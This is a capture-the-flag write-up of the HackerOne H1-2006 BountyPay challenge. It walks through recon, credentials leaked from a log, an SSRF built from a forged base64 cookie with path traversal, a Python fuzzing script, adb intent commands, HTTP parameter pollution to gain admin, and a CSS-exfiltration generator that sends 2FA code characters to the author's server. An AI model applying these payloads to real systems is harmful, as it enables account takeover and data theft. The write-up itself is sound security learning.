[H1-2006 2020] How I solved my first H1 CTF
Critical
H
h1-ctf
Submitted None
Actions:
Reported by
cr33pb0y
Vulnerability Details
Technical details and impact analysis
## Introduction:
Hello! My name is @cr33pbp0y and I going to tell you how I resolved my first HackerOne CTF.
## Prelude
One day, I was reading some tweets about some new vulnerabilities and new hunters adquisitions when the Great H tweeted:
{F861267}
I thought: "WoW, a new virtual event!! It could be awesome to assist to!!!". And then, I replied the tweet:
{F861275}
My heart started to beat quickly and my mind was ready to the next (and hard...) battle, so the CTF began.
## Steps To Reproduce:
The CTF started with the wildcard: **X.bountypay.h1ctf.com**, so, when you have a new domain to investigate you should to call some of the hunter friends: Amass, Subl1ster and Aquatone!
{F861288}
With some domains discovered, I saw its faces for first time:
### bountypay.h1ctf.com
The first page of the CTF. It use? It takes you to Staff or App...
{F861294}
### api.bountypay.h1ctf.com
A nice page with a elegant message and a redirection link....suspicious....¬.¬
{F861297}
### app.bountypay.h1ctf.com
One of the important pages of all CTF (you know why later...)
{F861299}
### staff.bountypay.h1ctf.com
The second important page of the CRF
{F861301}
### software.bountypay.h1ctf.com
The little shy page...
{F861307}
So, with this material the show started!
## Enumeration:
I used **dirsearch** and **ffuf** to enumerate the findings, and some in *app.bountypay.h1ctf.com* caught my attention:
{F861313}
A **.git** resource with some file...interesting....
So the first one had the big price: if you clicked to a Github URL: https://app.bountypay.h1ctf.com/.git/config a config file showed up:
{F861319}
And with the url a file. And file inside a code with a PHP code, showing that it existed a log file living in the app page!!!
{F861320}
{F861322}
So, searching the file I found it on APP page:
{F861330}
Code was base64 encoding, so decoding it, it shows like this:
```
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}$##"c"%U$#%"$UDB#%5B"%$2#$tUB#%5B#'W6W&R#&'&ƗfW""'77v&B#%cv祂'{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
```
It showed in cleartext a username, its password and a strange challenge_answer, so I thought to logged in to app page.
## Deeping into app.bountypay.h1ctf.com
Using the username and password disclosed in the log file, app page requested you a 2FA....maybe challenge_answer could help...
{F861347}
I tried introducing first a fake value and I realized that challenge was MD5 hash-encoded it:
{F861348}
So, using the leaked code and hashing to MD5 I was able to log in:
{F861354}
{F861353}
My internal voice: "OK! We are in! and now what?! Well...there is a button...Can I press it? Nothing...Wait! Nothing? Tamperit"
And yes, if you tamper the request, it will show the next request and the next response:
{F861367}
{F861368}
Response shows **api.bountypay.h1ctf.com**, so there was a chance to change to other page: COOL!
But, how? Digging into web app, I realized that cookie was Base64 encoded:
```{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}```
"Ok....and now what" I thought, firstly. But, two minutes (or two hours, I don't remember very well...) later, I saw that **F8gHiqSdpK** code was reflected to the response...."What it happen if I change the cookie?"
So I was trying with some parameters and I realized there was an SSRF!!!
"But, what could I do with a SSRF?" my internal voice said again, thinking for me....
"Maybe, there could be some interesting software piece inside **software.bountypay.h1ctf.com** and for sure **api.bountypay.h1ctf.com** it's authorized to go there!!!"
So, I forged a new cookie, following the next steps:
* First, adding a hash to the finish of the account_id parameter, to comment parameters to the right of # character:
```{"account_id":"F8gHiqSdpK#","hash":"de235bffd23df6995ad4e0930baac1a2"}```
* Second, adding a path traversal payload to go to root part of the URL:
```{"account_id":"F8gHiqSdpK../../../../../#","hash":"de235bffd23df6995ad4e0930baac1a2"}```
* Finally, adding */redirect?url=* parameters and software URL...
```{"account_id":"F8gHiqSdpK../../../../../redirect?url=software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}```
Ok, let's try! All Base64 encoded again and let's see:
{F861395}
Nice, but it was just a username/password form...How could I recon that page?
I was thinking and thinkng, and thinking...when an idea appeared in my head:"If I create a dict with the payload and then base64 encode the code again...."
And then, I wrote a piece of script Python: something like this:
```
#!/usr/bin/env python3
from itertools import combinations
import requests
import base64
SECLIST_FILE = './dicc.txt' ## file path
with open(SECLIST_FILE,'r') as f:
for word in f.readlines():
value = str.encode('{"account_id":"../../../../../redirect?url=https://software.bountypay.h1ctf.com/' + word.rstrip("\n") + '#","hash":"de235bffd23df6995ad4e0930baac1a2"}')
token_value = base64.b64encode(value).decode('utf-8')
response = requests.get('https://app.bountypay.h1ctf.com/statements?month=01&year=2020', cookies={'token':token_value})
if not "Not Found" in str(response.content, word):
print(response.content)
```
Short history long: like Burp Suite intruder but in Python.
The code generates payloads with the values obtained from SECLIST_FILE file and request it with the cookie encoded to base64.
It the response was not "Not Found", then the code printed the response.
My code responsed with *uploads*:
{F861418}
And an APK file showed it up!
Going to https://software.bountypay.h1ctf.com/uploads/BountyPay.apk, I got the APk file.
## APK BOUNTY PAY: the funniest part of the show!
To this part, I just used MobSF and ADB (and my androin phone, of course).
I installed the APK file in my phone and I just saw this screen after login in:
{F862372}
Just a button that get you some hints and no more...
Taking a look to the source code using MobSF you can see that challenges was divided in three parts.
### PartOneActivity.java :
Deeping into source code, one snipet caught my attention:
{F862379}
That said my that, if you pass some parameters to APK activity, you will go to part two!!
Ok!! So, using this ADB command (and reading this awesome report https://hackerone.com/reports/328486, thanks @bagipro)
``` adb shell am start -n bounty.pay/bounty.pay.PartOneActivity -a android.intent.action.SEND -d "one://?start=PartTwoActivity"```
I passed to the next level.
### PartTwoActivity.java
The second screen seemed like first one, but with other hints( Current Invisible and Visible with the right params).
{F862384}
So, it seemed that, once again, I needed pass other parameters to this new one activity.
I came back to the source code again and I saw this code:
{F862386}
Like PartOne, if you passed the right parameters with the following command:
```adb shell am start -n bounty.pay/bounty.pay.PartTwoActivity -a android.intent.action.VIEW -d "two://?two=light\&switch=on" ```
The part two faced up:
{F862392}
Ok, there was a code, MD5 hash. Crackstation is always your friend, so, if you inserted this on that page, the hash reverse hash code said something like: "Token". But introducing that code with submit button didn't do anything.
As you can see two images above, in the end of the code, it shows that user must introduce "X-" prefix to access to part three.
So, introducing "X-Token" you could go to next level: Part Three
{F862411}
### PartTwoActivity.java
Once in the final round of the APK challenge, I saw the same like other ones, but with other hints (Reuse params and Intercept or check for leaks):
{F862421}
So, as I learnt on the other challenges, I came back again throug source code:
{F862427}
Reading again, if you sent the old params to APK with other values, you could see the activity interface, using the following code:
``` adb shell am start -n bounty.pay/bounty.pay.PartThreeActivity -a android.intent.action.VIEW -d "three://?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"```
{F862432}
Hints said my that it was a token or something into the code, so submitting that code I would win.
I got into the phone and, searching for a file, I found this one:
{F862447}
So, using that code and submitting again I finished the APK challenge:
{F862452}
{F862454}
But a new one started!
## API and STAFF part
The final tips from APK Challenges were that I had something to do in API webpage, but what?
Well, doing some recon, I found a */api/staff/* request, that let you know that some header or token was missing:
{F862539}
So, with the APK token leaked, api got me some info about staff members:
{F862543}
Cool the requests showed the name and the staff_id of Staff Members, but the info wasn't enought to log in on staff part...
After thinking a lot, I thought on one of the picture that H1 tweeted on the CTF account .
{F862550}
Cool, another staff_id again, but I needed a password or something..."Could I request a password with staff_id? " I though...
And yes, I could,
Doing a POST over the above request and using **staff_id** as parameter, I could obtain Sandra's password ^_^
{F862555}
Thanks Sandra, I've got your password!!!
Using this credentials I could log in to staff portal.
In my opinion, it was the hardest part of the challenge!!!
When you land into the page, you see a Dashboard where the action you can do are upload Sandra's profile:
{F862569}
And see one "Welcome ticket from admin":
{F862574}
Further, user could report pages to admin if it saw something wrong....
So after thinking, asking and almost dying, I got the solution.
There was a **website.js** file that contains the following code:
```
$(".upgradeToAdmin").click(function(){let t=$('input[name="username"]').val();$.get("/admin/upgrade?username="+t,function(){alert("User Upgraded to Admin")})}),$(".tab").click(function(){return $(".tab").removeClass("active"),$(this).addClass("active"),$("div.content").addClass("hidden"),$("div.content-"+$(this).attr("data-target")).removeClass("hidden"),!1}),$(".sendReport").click(function(){$.get("/admin/report?url="+url,function(){alert("Report sent to admin team")}),$("#myModal").modal("hide")}),document.location.hash.length>0&&("#tab1"===document.location.hash&&$(".tab1").trigger("click"),"#tab2"===document.location.hash&&$(".tab2").trigger("click"),"#tab3"===document.location.hash&&$(".tab3").trigger("click"),"#tab4"===document.location.hash&&$(".tab4").trigger("click"));
```
Furthermore, profile upload let user to upload both profile name and avatar. The avatar div had a class name #avatar(1|2|3) too and this last parameter was vulnerable to injection, so, changing the avatar in the request previous tampering and adding **upgradeToAdmin** and **tab4** class...so doing this:
{F862615}
I had this functionallity, but I need to be admin to be admin... So I needed to report something wrong...but what?
And after many smoke over my head, I thought on HTTP Parameter Pollution.
Doing the following request:
https://staff.bountypay.h1ctf.com/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4
{F862622}
I broke the page.
{F862640}
Finally, I had to base64-encode this payload and send it to one admin, doing the following request:
{F862656}
I obtained a new tab on home dashboard with our friend, marten.mickos user and password:
{F862661}
Finally, with this info, I got ready to help our favourite H1 CEO
## FINAL BOSS: APP AGAIN T_T
Using the same technique as the other user I landed on APP site profile of Marten. Doing some searching, I found a payment.
{F862679}
So I pushed the button "Pay" and other page came to me:
{F862683}
This page requested a weird HTTP request, trying to request some CSS file...soooooo weird.
{F862684}
And then, the page requested you a 2FA code:
{F862685}
Ok, I didn't no idea how to attack this page...
Totally confuse, I've researching about CSS attacks and I found one: CSS Exfiltration. (@d0nut explains this vulnerability better than me, so take a look at this resource https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)
With this idea, I started to do blind CSS exfiltration requests using above request and my VPS to allocate a personal CSS and receive the server responses:
I added this sentences to the CSS:
```input[name=^c][value]{ background-image:url(https://VPS-dir/css/jur1)};```
If the server tried to contact to my VPN that means that exists a HTML input with name starting with c.
So doing this, I obtained that there were 7 inputs: code_1 to code_7.
Ok, so the final idea was to generate a CSS file with all conditions and codes, so if the server tried to contact with the Burp Collaborator, the input value would show up.
So coding a Python script like this
```
part1 ="input[name=code_{}][value="
part2 = """]{
background-image:url(https://collabdir/css/code_"""
part3 = """ );
}"""
all = [i for i in string.lowercase] + [i for i in string.uppercase] + [str(i) for i in range(0,10)]
for i in range(1,8):
for c in all:
print(part1.format(str(i))+c+part2+str(i)+c+part3)
```
I generated all combination of characters that input could have. I pushed that file to my personal VPS. And I did the request, pointing to my VPS file and waiting some requests to my Burp Collaborator:
And the requests appeared!!
{F862734}
Sorting the puzzle pieces I got the pass and then:
{F862718}
CTF was solved!!!!
##^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$
## Impact
## Conclusions and Acknowledgements
This CTF has been very hard, but very cool too! I learnt some new trick for my bounty, like CSS Exfiltration or HPP with some special parameters.
I want to give thanks to Adam Langley to discover me a world of posibilities to learn and get some good time.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Violation of Secure Design Principles